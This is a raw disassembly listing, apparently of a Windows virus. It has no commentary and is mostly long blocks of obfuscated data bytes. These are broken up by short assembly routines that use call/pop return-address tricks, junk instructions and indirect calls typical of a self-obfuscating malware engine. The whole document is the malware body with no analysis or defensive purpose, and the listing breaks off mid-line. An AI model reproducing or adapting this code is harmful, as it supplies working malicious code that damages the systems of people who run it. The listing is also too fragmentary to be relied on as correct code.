3A13B7DDh, 5793424Dh, 5250505Fh, 0BF66310Fh, 585AB15Dh dd 51006A93h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 7DEBD25h, 7AF155FEh, 0B5FF9B6Ah, 95D03E5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 31C35343h, 8B66BDE3h dd 0B195FFFEh, 8B095D11h, 0F800B0FAh, 0B58B70E6h, 95D2A75h dd 0BD2371E4h, 95D1431h, 830F613Ch, 233h, 1EB1BD8Bh, 8166095Dh dd 0FAE22EFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 3E8A83C3h, 6BAh, 6AC38B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0F33CC357h, 66D38E80h, 0E86BACBEh, 12h, 0CB137666h dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 0BF0F62EDh, 0E8C15EF0h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 8979F088h, 9DB58B9Eh, 89095D2Bh, 5D0665BDh dd 0E2F76609h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0E9C35242h, 45F1068Bh, 0AF2D24C3h, 0FEB70F74h dd 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 681616C3h, 5E6D8AD0h, 0BD89C561h, 95D2085h dd 3149B58Bh, 0F58095Dh, 0D82BF0BFh, 129880Fh, 95890000h dd 95D0955h, 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0C7502408h, 0FE8C107h dd 0FE000000h, 0B998DA62h, 739D3F39h, 6F7F8CBDh, 835FD41Eh dd 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F6B5DEC3h, 892A6376h, 5D1EC58Dh, 0FD93B09h dd 0B686h, 0ED950900h, 66095D24h, 0B58BD98Ch, 95D3049h dd 0F04C1F6h, 9084h, 91B58B00h, 0FF095D2Ah, 5D2A9D95h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 29120F46h, 5D0FA1BDh, 0F78B6609h, 56006A5Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0BFDA41B9h, 78B6B036h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0C8505FC3h, 6BDBD8Bh dd 343D095Dh, 0F000008h, 886h, 11E900h, 0BF0F0000h, 0E9C08BFEh dd 7, 0B7E72C2Ah, 8BB8A8BDh, 0FCD88BC3h, 95D85C7h, 0FBDD095Dh dd 0B70F3C87h, 0E8C08BF0h, 0Ah, 0CD9FE6F6h, 28705306h dd 0B58B9303h, 95D1F75h, 0CE81665Eh, 0BD81E5C9h, 95D03E5h dd 7D0h, 71850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0D0EB61C3h, 0CE8D357h dd 2E000000h, 0C5282205h, 0BDAD0836h, 5E358B96h, 12958589h dd 85FF095Dh, 95D03E5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0E5C35747h, 0AFA4E4D2h, 0CE9B145h, 0C7000000h dd 73231C84h, 2059446Bh, 0FF32E291h, 5D03E5B5h, 25958909h dd 0FF095D32h, 5D11B195h, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FAA2864Ch dd 0FCA3C9ECh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 10BEE167h, 0BD8B9576h dd 95D08FDh, 28C0Fh, 0F18B0000h, 79850960h, 81095D31h dd 1CFF17C1h, 880F603Ch, 0 ; --------------------------------------------------------------------------- js $+6 popa popa movzx esi, ax push 0 push edi call sub_5A9C66 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9C66 proc near ; CODE XREF: Virus___:005A9C5Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5A9C66 endp ; --------------------------------------------------------------------------- dw 0BD25h dd 55FE07DEh, 0FE87AF1h, 0DA000000h, 9EA75C00h, 8BEE0FD2h dd 0ED9A46EDh, 8B667D1Fh, 0BF665FF9h, 880F2D89h, 0Bh, 7DDE8166h dd 719D01D8h, 66095D02h, 6AF88Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 2EBF16C3h, 8B012BEDh dd 5D309DBDh, 0F28B6609h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 31C35646h, 89DFFBF4h, 5D213DB5h, 0A4BE6609h dd 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 684618Fh, 3E8DE64h, 5D2601BDh, 6E909h, 8EAE0000h dd 14592091h, 0FE8h, 0A1AF8000h, 406B4F8Dh, 77446EFh, 6504A0A4h dd 15810Fh, 0EE90000h, 7000000h, 0DFB3B0D3h, 34986F29h dd 807FD7CEh, 5FF78B9Ah, 0FFF7D7E9h, 7E8FFh, 0ACFA0000h dd 22F2B766h, 0C18B5E1Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0B7C35040h, 104EB69h, 8B000000h, 5D227DBDh dd 39858D09h, 6A095D22h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 50ACC356h, 52505360h dd 585A310Fh, 0FA8B6658h, 24048961h, 0BE66006Ah, 6AB9DAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F9C35242h dd 0F6D8293Eh, 0C41B58Bh, 858D095Dh, 960F415h, 1745BD8Bh dd 0C083095Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 805EEA56h, 0E5F46B03h dd 0B58BE456h, 95D1ED5h, 850F90h, 50000000h, 0C68B6660h dd 6B01BA60h, 61611BFCh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 9E8F6B4Ch, 6A56CB8Ah dd 0F006A00h, 0E87h, 9E900h, 59360000h, 95A8252h, 0F1F29EFh dd 0A83h, 4840F00h, 66000000h, 0FF06FCBFh, 5D085195h, 0F526009h dd 8Ah, 8D615A00h, 60914C9Dh, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 1EE205EEh dd 0F95B58Bh, 0B52B095Dh, 95D17D1h, 52B2B660h, 418589h dd 6159095Dh, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0C0A7BEC3h, 0BD8BCD1Dh, 95D29ADh dd 216985FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0A9B8BEC3h, 800B92D3h, 998529B6h dd 9095D19h, 5D329D95h, 7A0E909h, 0E80000h, 5D000000h dd 0F41FED81h, 81F90960h, 5D03E5BDh, 7D009h, 4D860F00h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 4394C357h, 0D1239AB4h, 8BD17684h dd 5D24859Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 5FDA4392h, 6E2F1E38h, 735945BFh dd 0E38122h, 0F5000001h, 90D8531h, 0DB0B095Dh, 7F850Fh dd 53510000h, 0BD835E5Fh, 960F267h, 39840F00h, 29000000h dd 5D0049B5h, 95E909h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0D0B3B3C3h, 669B002Fh dd 5E93E64h, 0FE000000h, 0C940B5D8h, 0F26785C7h, 10960h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 895381C3h, 5D1A1DBDh, 34E95F09h, 8B000000h dd 6785C7F0h, 960F2h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 5865C350h, 6E9h, 7C821400h dd 8D6D567Ch, 5D24859Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BD8BECD8h, 95D16CDh dd 0FEFF2381h, 810FFFFFh, 0 ; --------------------------------------------------------------------------- mov bx, ds jmp loc_5AA0C3 ; --------------------------------------------------------------------------- dd 6A323DFBh ; --------------------------------------------------------------------------- add edx, [ebp+64h] loc_5AA0C3: ; CODE XREF: Virus___:005AA0B7j mov esi, [ebp+95D22C1h] test bl, 4 jz loc_5AA130 mov edi, [ebp+95D31E9h] call dword ptr [ebp+95D2A9Dh] push 0 push edx call sub_5AA0E9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AA0E9 proc near ; CODE XREF: Virus___:005AA0E1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5AA0E9 endp ; --------------------------------------------------------------------------- db 0EDh, 93h, 0BEh ; --------------------------------------------------------------------------- push edx mov eax, ds:1BD4A5DAh add edi, 1FA2DD44h push eax mov edi, 190205F1h mov [esp], eax push 0 push eax call sub_5AA11C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AA11C proc near ; CODE XREF: Virus___:005AA114p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5AA11C endp ; --------------------------------------------------------------------------- sbb [eax], bl mov esi, edi loc_5AA130: ; CODE XREF: Virus___:005AA0CCj jmp loc_5AA50B ; --------------------------------------------------------------------------- mov edi, ebx mov al, 0 push 0 push eax call sub_5AA144 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AA144 proc near ; CODE XREF: Virus___:005AA13Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5AA144 endp ; --------------------------------------------------------------------------- dd 10D8237h, 0B504F03Dh, 8B666BD4h, 0F99D89F0h, 0E6095D1Eh dd 55006A70h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 53EE074Eh, 8B66D898h, 5171E4F2h, 10799D29h dd 0F5F095Dh, 8166D8B6h, 0BA7120F6h, 6, 6AC38Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 3603DDC3h, 0EC34C62Eh, 6A04E8C1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 7171C356h dd 665F3C6Ch, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 693310C3h, 67D3BF93h, 0D82B68B5h dd 8B6693FCh, 0F6050F2h, 1182h, 0BE800h, 78690000h, 562233D3h dd 0FB7E137Bh, 0EE85F69h, 0C0000000h, 0CBC26C0Fh, 0F092B60Eh dd 5BEFC63h, 0B6C7B932h, 61581196h, 61850993h, 0FF095D33h dd 5D03E5B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 2B6BD8A4h, 8D019C17h, 95D0ABDh, 11B195FFh dd 0E956095Dh, 0Ch, 20B440Dh, 0FBFCCECBh, 495DF507h, 6600B05Eh dd 0E6059DBFh, 0EE970h, 0E83D0000h, 91AF7010h, 7DF2A8D7h dd 8B1EBCDCh, 0BD8B71E4h, 95D2451h, 830F613Ch, 247h, 68C0Fh dd 0B5230000h, 95D202Dh, 0FD8B60Fh, 0C8Ah, 6890F00h, 31000000h dd 5D112595h, 6BA09h, 85310000h, 95D1B2Dh, 6AC38Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 9F8395C3h, 8B42FA80h, 3345BD89h, 951095Dh, 5D2B859Dh dd 0E8C15F09h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0E2F76624h, 2D4A84BFh dd 6AD82B30h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4930C356h, 0FB2F517Eh, 95890B88h dd 95D2915h, 0DE858h, 96C50000h, 5CCF0A63h, 5D6A7A4h, 66CC01DAh dd 2B5EF98Bh, 78880FD8h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5898C350h dd 0CA6533CCh, 4C7EAA07h, 6880Fh, 0B58B0000h, 95D2BE1h dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F055E7EAh, 24199D31h, 0C183095Dh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0FB333A91h, 0E97C64CCh, 6, 7483FFEh, 0D93BF638h dd 0E5860Fh, 0B58B0000h, 95D0601h, 6AD98C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0BC27C350h, 29FB3EBBh, 87BD2413h, 6CE6BF66h, 0F04C1F6h dd 0A284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 89CBAA62h, 5D06AD95h, 9950909h, 0FF095D29h dd 5D2A9D95h, 0F18D8909h, 5B095D32h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 38C35545h, 736E458Ah, 665FD3C4h dd 9A40ABFh, 5D1F699Dh, 6AC32B09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DE82C356h dd 0FFB70F7Eh, 8343Dh, 10860F00h, 0BE000000h, 303E9FEh dd 0EE9h, 0D958900h, 8B095D21h, 75BD8BC0h ; --------------------------------------------------------------------------- sbb bl, [ebp+9] loc_5AA50B: ; CODE XREF: Virus___:loc_5AA130j mov eax, ebx mov ebx, eax jmp loc_5AA51D ; --------------------------------------------------------------------------- dd 0AC97F48Dh, 2ED02C8Dh db 78h ; --------------------------------------------------------------------------- loc_5AA51D: ; CODE XREF: Virus___:005AA50Fj mov dword ptr [ebp+95D0979h], 1CC85559h or [ebp+95D2ED9h], esi mov eax, eax call sub_5AA53B call far ptr 2777h:796646C1h ; =============== S U B R O U T I N E ======================================= sub_5AA53B proc near ; CODE XREF: Virus___:005AA52Fp ; FUNCTION CHUNK AT 005AA5A4 SIZE 0000002D BYTES mov [ebp+95D33CDh], eax pop edi cmp dword ptr [ebp+95D03E5h], 7D0h jnz loc_5AA5A4 push 0 push ebx call sub_5AA55D and [ebx-3Dh], bl sub_5AA53B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AA55D proc near ; CODE XREF: sub_5AA53B+1Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5AA55D endp ; --------------------------------------------------------------------------- db 73h, 38h, 52h dd 0F8F2656Bh, 0BE669444h, 85FF1EF3h, 95D03E5h, 0C3816660h dd 0BD89410Ch, 95D0B19h, 118E0F61h, 0E8000000h, 0Bh, 0E97CE55Ah dd 228B9500h, 5FFF747Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA53B loc_5AA5A4: ; CODE XREF: sub_5AA53B+11j push dword ptr [ebp+95D03E5h] and esi, 27F801BCh call dword ptr [ebp+95D11B1h] call near ptr loc_5AA5BD+4 fsub qword ptr [eax] loc_5AA5BD: ; CODE XREF: sub_5AA53B+7Bp mov edx, 0FDCCF8Ah mov bh, 0F9h pop esi nop push 0 push esi call sub_5AA5D1 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5AA53B ; =============== S U B R O U T I N E ======================================= sub_5AA5D1 proc near ; CODE XREF: sub_5AA53B+8Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5AA5D1 endp ; --------------------------------------------------------------------------- db 0AFh, 42h, 6Eh dd 65F0C472h, 1DB58BA9h, 52095D24h, 2C58589h, 9D31095Dh dd 95D1395h, 0E9F18B5Fh, 0Bh, 0DD3E455Ah, 9FAFDE55h, 8BAC8C1Ch dd 5D152DBDh, 68B0F09h, 89000000h, 5D111195h, 7E909h, 84150000h dd 9F9034EAh, 9E85637h, 55000000h, 5750146Fh, 0AB9B7353h dd 94D8D89h, 6160095Dh, 0B58B5F5Fh, 95D0359h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E2C35040h, 9531A161h dd 95D182Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 5EC35747h, 0CF81FE8Bh, 26EDBE88h, 8B98D89h, 0EE81095Dh dd 1109D921h, 271B58Bh, 6A095Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 655644C3h, 0BF0FDFFFh dd 11E9F2h, 85D20000h, 0ADE321CFh, 0F5DD1EF6h, 9B9D971Bh dd 0E9BD0C2Dh, 0FFFFF866h, 22899589h, 0C18B095Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 1EC35040h, 0B58B9C9Dh dd 95D2B01h, 104EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 83679FC3h, 2B319D89h dd 858D095Dh, 95D2239h, 0B5016051h, 95D31D1h, 175AB866h dd 60905F61h, 0AEBEDE8Bh, 6111EE6Dh, 0F98B6650h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0AE968B8h, 41000000h, 0CA2C5F2Eh, 2A7F61D8h, 6A006A77h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 36E8C351h, 9A0FDEB5h, 27739F6Ch, 0E9FE8B66h dd 11h, 9AF01375h, 0AD8DDFF7h, 0B35BE270h, 0CC813898h dd 6A006A0Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 5D5EC355h, 4DBEAF64h, 8D6AB694h dd 60FDE785h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 607C6623h, 5D76405h, 81BEBFC1h, 835271F6h dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 500778C3h, 14E8h, 0DBBF2900h, 585FBA6Fh dd 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 2BF66BCh, 4895FB0h dd 6A5E5724h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 7800D638h, 47E6EEB0h, 6AF7B70Fh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 17DC1EE7h, 8E0FA817h, 14h, 0FE9h, 922FB200h dd 7240B8EFh, 0C9753296h, 5F1B3DDAh, 85195FFh, 0BD8B095Dh dd 95D33C1h, 914C9D8Dh, 0BE660960h, 0D3FF8607h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 54C35646h, 0FFFEBF0Fh dd 5D216985h, 0DE909h, 0BED90000h, 37314258h, 0F710E506h dd 0E9410055h, 86Eh, 0E8h, 0ED815D00h, 960FDF1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 83C35040h, 2953B5FDh dd 5D2C158Dh, 0E5BD8109h, 0D0095D03h, 0F000007h, 18B86h dd 0A9B58B00h, 8B095D08h, 5D29A99Dh, 13E96009h, 0FB000000h dd 4FB10B69h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 5E98B3Ah dd 0F000000h, 9DC425ACh, 81F88B61h, 100E3h, 0CE800h, 0D1FD0000h dd 0BB3473DEh, 6F932CF6h, 8D8909A2h, 95D1111h, 0FDB0B5Eh dd 9685h, 1800F00h, 0FC000000h, 0FBE2BD83h, 0F000960h dd 3084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 89699954h, 6F91572Eh, 0AFE94090h dd 89000000h, 5D31958Dh, 0E285C709h, 10960FBh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0F60DC357h, 0AB7C5FBEh, 5E9h, 5A78EA00h dd 0BD2B2BD7h, 95D1295h, 69E9h, 9B52900h, 0F095D19h, 688h dd 0C1BD0900h, 0C7095D11h, 60FBE285h, 9, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 58F6DFDAh, 11D3560Ah, 6860F60h, 89000000h, 5D19DD95h dd 10E809h, 0B05C0000h, 106CA522h, 0F99904D4h, 0D647B7A1h dd 0B58B20E5h, 95D1165h, 9D8D6159h, 95D29A9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0AAC35040h, 0E18F5453h dd 68A0Fh, 0E7810000h, 4128C2AAh, 0FEFF2381h, 2960FFFFh dd 5D20C995h, 59B52B09h, 61095D08h, 0E9DB8C66h, 0Dh, 81E06F61h dd 0B22E2AA4h, 0EB8B9C2Bh, 4C3F6A2h, 61840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 419A22C3h, 2E388FB5h, 0BE51E150h, 757B76F7h, 2A9D95FFh dd 8166095Dh, 50A870C7h, 20E3BE66h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0D3C2C355h, 2A0018DDh, 0E927ED12h, 43Dh, 0B0F18Bh, 0FF9B50Bh dd 70E6095Dh, 0E4FE8B66h, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 536650DDh dd 0B82D8FD0h, 0DE8h, 6B673700h, 0E4FD8098h, 8FD7C39h dd 958922BAh, 95D0801h, 0D8B60F5Eh, 585BD33h, 6BA095Dh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 7B74C350h, 8B3FACA9h, 51006AC3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BE6631D9h, 0E8C1A708h, 3860F04h, 66000000h, 0B58BF38Bh dd 95D0271h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 464BC350h, 3B25EDD8h dd 0D82B2070h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0EBC35343h, 0B5239583h, 95D12E5h, 7CE78166h, 800F9379h dd 3, 50FA8B66h, 2858BF66h, 69BD8B93h, 8B095D33h, 0E5B5FFFEh dd 6A095D03h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0C700C350h, 5E93577h, 68000000h dd 5E54543Ah, 2309BD8Bh, 95FF095Dh, 95D11B1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 55C35343h, 70B1B2ECh dd 0CDADD806h, 3850F1Ch, 0F000000h, 0B0F7BFh, 30E98589h dd 70E6095Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0C3C35242h, 0CF70F089h, 5B9550E2h, 24F9B58Bh, 8B66095Dh dd 8B71E4F2h, 5D3181B5h, 0F613C09h, 27483h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 666E8EF5h, 0DED94891h, 0BBBF66CBh, 29850965h, 0F095D25h dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 59132CC3h, 56597255h, 6BAh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0AE8E5BCh, 0EA000000h, 9E9E3B5Bh, 13D4BD8Bh, 0E7815F21h dd 672745EBh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F86698C3h, 6A04E8C1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 5217C356h, 0B4108C40h, 9844FC11h, 4E5B501h dd 0F766095Dh, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 663A0AE4h, 2BFA23BEh dd 58F78BD8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 4AC35343h, 1CBD03D2h, 0C398D29h, 0D82B095Dh, 143880Fh dd 0B9FC0000h, 7, 65EF8166h, 0C18333h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F8C35545h, 7F29A7Dh, 0B0EF8142h dd 3B7F601Bh, 6860FD9h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5E27C351h dd 0E64A60BBh, 0F75DBF66h, 6AD98C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F96AC350h dd 0EDBD299Ch, 31095D1Eh, 5D073D95h, 4C1F609h, 0A3840Fh dd 0FFF80000h, 5D2A9D95h, 11E909h, 0E0450000h, 8BBDC007h dd 4053568Ah, 9B64C947h, 811A2F4Ah, 6B8313D6h, 0BD8B5B7Eh dd 95D0381h, 1855B589h, 0C32B095Dh, 8343Dh, 66860F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 6C6CC351h, 8773FFA9h, 48F5786Bh dd 7E8h, 6F953C00h, 0C45185D4h, 1800Fh, 5EF50000h, 30E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 2285473Ch, 8BF317A8h, 5D073DB5h, 8BC08B09h dd 5D30D9BDh, 8BC38B09h, 0F18B66D8h, 248585C7h, 1B1B095Dh dd 6A7925h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F749CBC3h, 0FAE67C4h, 68Eh, 0C9BD8B00h dd 8B095D16h, 0E5BD81C0h, 0D0095D03h, 0F000007h, 4C85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 87EE53A4h, 33AF283Ch, 5D16A9B5h, 0E585FF09h dd 6A095D03h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 8B8EC351h, 0E5B5FF4Dh, 66095D03h dd 538BEE81h, 11B195FFh, 0B589095Dh, 95D1745h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0F94A75DDh, 12E8BCh, 0B89E0000h, 18ED9D09h, 0B3A269F0h dd 833567B1h, 829AADFFh, 6E9h, 2EE38C00h, 5E1E5C49h, 2E96BF66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E1C35545h dd 6AA8CDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 84417BC3h, 6E9h, 0ABF06A00h, 6A882F68h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89CEC350h, 5D04098Dh, 0F1BF0F09h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0DEC35040h, 6DBD0B51h, 81095D24h dd 0FBD69EDEh, 3DB58B5Fh, 0F095D11h, 0F60F6B7h, 983h, 0D78B6600h dd 0F85BD01h, 0BD89095Dh, 95D10B1h, 0E7E3EE81h, 60613768h dd 2F55BD8Bh, 890F095Dh, 0Ch, 2345B58Bh, 8D89095Dh, 95D2C05h dd 0F79EE961h, 0B58BFFFFh, 95D2BF5h, 305DB589h, 0C18B095Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 27C35343h dd 0D9D2B841h, 0BD891120h, 95D054Dh, 104EBh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 710C21C3h, 85F53FA1h, 0BD8B08E8h, 95D10A1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 92C35545h, 0C56DD19h dd 0F6CFF3Ch, 38Fh, 0FFBF0F00h, 2239858Dh, 6A095Dh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 41529EC3h, 8B7DB03Dh, 0BF6650F9h, 489B951h, 0FFBF0F24h dd 0B503006Ah, 95D0BB1h, 6E8006Ah, 10000000h, 7D4E7B03h dd 78BE5280h, 5F659E47h, 0E8858D5Fh, 0F096107h, 0C083F7BFh dd 14E905h, 6BEE0000h, 58BF30F1h, 2299CF0Dh, 0FF3692F4h dd 0EE603FA6h, 50904696h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 7137D2D6h dd 89EAEA7Ah, 5D302D95h, 0E6816609h, 6AE2C2h, 6AF38Bh dd 4CE7CE81h, 95FF435Dh, 95D0851h, 0AE960h, 0ED920000h dd 0D25209A7h, 2135F7Bh, 9D8D61F5h, 960914Ch, 8D89FC60h dd 95D073Dh, 0BFD3FF61h, 5CBA1B49h, 216985FFh, 6A095Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9D89E5C3h, 95D1EFDh, 7D2E9h, 0E800h, 815D0000h, 6107F2EDh dd 